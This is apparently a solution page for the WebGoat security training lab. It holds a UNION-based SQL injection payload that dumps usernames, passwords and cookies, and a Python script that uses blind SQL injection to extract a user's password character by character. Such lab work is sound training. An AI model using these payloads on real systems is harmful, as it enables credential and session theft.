Injection
SQL Injection Intro
SQL Injection Advance
3/
' union select userid, user_name, password, cookie, null, null, null from user_system_data;--5/
import requests
import string
url = 'http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge'
password=''
cookie = {"JSESSIONID":"sQ7Ew5BK_IUP7cCxfeu1oOviaQsNxE99PzLtVzg0"}
for i in range(1,23,1):
for c in string.printable:
r = requests.put(url,cookies=cookie,data={'username_reg':f"tom' AND substr(password,{i},1)='{c}'--",'email_reg':'tom@gmail.com','password_reg':'1','confirm_password_reg':'1'})
#print(r.text)
if 'already exists' in r.text:
print(c)
password+=c
print(password)
SQL Injection Mitigation
Path traversal
2/ Path traversal while uploading files

3/ Path traversal while uploading files


4/ Path traversal while uploading files

5/ Retrieving other files with a path traversal
Last updated